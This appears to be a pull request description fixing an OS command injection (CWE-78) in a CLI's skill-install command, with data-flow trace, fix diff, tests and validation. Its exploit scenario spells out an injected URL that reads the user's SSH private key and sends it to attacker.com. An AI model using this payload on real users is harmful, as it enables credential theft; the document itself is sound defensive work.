fix: prevent command injection in skill install (CWE-78)

[sebastiondev]

Vulnerability Summary

CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Severity: High

Data Flow

User-supplied input flows unsanitized from CLI arguments into a shell command:

process.argv (skill identifier)
  → Commander.js argument parsing
  → installSkill(identifier)
  → resolveSkillUrl(identifier)        // returns URL verbatim if starts with "http"
  → string interpolation into command   // `npx -y skills add ${skillUrl}`
  → execSync(command)                   // spawns /bin/sh -c "..." — shell interprets metacharacters

The installSkill function in src/commands/skill/install.ts constructs a shell command by interpolating the skill URL (which can be user-supplied) directly into a string passed to execSync(). Since execSync with a string argument spawns a shell (/bin/sh -c "..."), any shell metacharacters in the URL (;, |, $(), backticks) are interpreted, enabling arbitrary command execution.

Exploit Scenario

A malicious actor publishes a guide instructing users to run:

smithery skill add 'http://legit.com/skill$(curl attacker.com/c?d=$(cat ~/.ssh/id_rsa|base64 -w0))'

The victim copies and pastes the command. Inside installSkill, the URL passes the startsWith("http") check and flows directly into:

const command = `npx -y skills add http://legit.com/skill$(curl attacker.com/c?d=$(cat ~/.ssh/id_rsa|base64 -w0))`
execSync(command, { stdio: "inherit" })

The shell interprets $(...) as command substitution, exfiltrating the victim's SSH private key.

Caller Trace

installSkill() is invoked from 3 call sites:

1. src/index.ts:999 — smithery skill add <skill> command. skill comes from process.argv. Directly attacker-controllable via social engineering.
2. src/index.ts:1134 — smithery setup command. Uses hardcoded "smithery-ai/cli". Not exploitable.
3. src/commands/skill/search.ts:312 — Interactive search. Identifier from API response. Potentially exploitable if a malicious publisher registers a skill with metacharacters.

Preconditions

1. Victim has @smithery/cli installed
2. Victim runs smithery skill add <malicious-url> (e.g., by copy-pasting from a phishing guide)
3. No elevated privileges required — runs as the user

Existing Mitigations

None. No input validation, sanitization, or shell escaping exists anywhere in the data flow. The URL flows directly from process.argv → resolveSkillUrl() → string interpolation → execSync().

---

Fix Description

Replace execSync(commandString) with execFileSync("npx", argsArray).

- const { execSync } = await import("node:child_process")
+ const { execFileSync } = await import("node:child_process")

- const flags: string[] = []
- if (agent) flags.push("--agent", agent)
- if (options.global) flags.push("-g")
- if (options.yes) flags.push("-y")
- if (options.copy) flags.push("--copy")
+ const args: string[] = ["-y", "skills", "add", skillUrl]
+ if (agent) args.push("--agent", agent)
+ if (options.global) args.push("-g")
+ if (options.yes) args.push("-y")
+ if (options.copy) args.push("--copy")

- const command = `npx -y skills add ${skillUrl}${flags.length ? ` ${flags.join(" ")}` : ""}`
+ const command = `npx ${args.join(" ")}`
  console.log()
  console.log(pc.cyan(`Running: ${command}`))
  console.log()
- execSync(command, { stdio: "inherit" })
+ execFileSync("npx", args, { stdio: "inherit" })

Rationale

• execFileSync executes the binary directly without spawning a shell, so metacharacters in arguments are never interpreted — they are passed as literal argv entries to the child process.
• This is the canonical fix for CWE-78 per Node.js documentation and OWASP guidance.
• The command string is retained for the console.log display only (user feedback); it is never passed to a shell.
• The fix is minimal and preserves all existing functionality (flag mapping, agent selection, global install, copy mode).

---

Test Results

All 370 tests pass (32 test files), including 4 new injection-specific tests and 9 updated existing tests.

New test file: skill-install-injection.test.ts (4 tests)

Test	Description	Result
URL with shell metacharacters	Verifies malicious URL with ;, |, $() payload is passed as a single array argument to execFileSync, and execSync is never called	✅ Pass
Agent parameter with metacharacters	Verifies agent string containing shell metacharacters is passed intact as array element	✅ Pass
Normal URL passed correctly	Verifies standard URL produces correct ["-y", "skills", "add", url] args	✅ Pass
All flags as separate elements	Verifies --agent, -g, -y, --copy are all individual array entries	✅ Pass

Updated test file: skills.test.ts (9 tests)

All 9 existing tests updated from execSync(stringContaining(...)) assertions to execFileSync("npx", arrayContaining([...])) assertions. All pass.

Pre-push checks

• ✅ biome check — 149 files checked, no issues
• ✅ tsc — TypeScript compilation clean
• ✅ vitest run — 370/370 tests pass

---

Disprove Analysis

We systematically attempted to invalidate this finding:

Authentication Check

No authentication guards on installSkill(). The smithery skill add <skill> command requires no login. Anyone can invoke it with arbitrary input.

Network/Deployment Check

This is a CLI tool installed globally via npm. It runs locally on end-user machines. No localhost/CORS/container restrictions apply.

Input Validation Check

No sanitization, validation, or escaping exists anywhere in install.ts or in resolveSkillUrl(). If the identifier starts with "http", it is returned verbatim and interpolated into the shell command.

Fix Adequacy Check

• Other exec/execSync sites in the codebase (e.g., client.ts, bundle/*.ts) use different input sources and are tracked separately.
• The fix is not cosmetic — it eliminates shell interpretation entirely.
• execFileSync("npx", [...args]) is the standard, recommended remediation.

Prior Reports

No prior security issues or fixes found in the repository.

Verdict

CONFIRMED_VALID — High confidence. The vulnerability is textbook CWE-78 with a clear, exploitable data flow and no existing mitigations. The fix is correct, minimal, and well-tested.

---

Files Changed

File	Change
src/commands/skill/install.ts	Replace execSync(string) with execFileSync("npx", args)
src/commands/__tests__/skills.test.ts	Update 9 existing tests to verify execFileSync array-based API
src/commands/__tests__/skill-install-injection.test.ts	Add 4 new injection-specific regression tests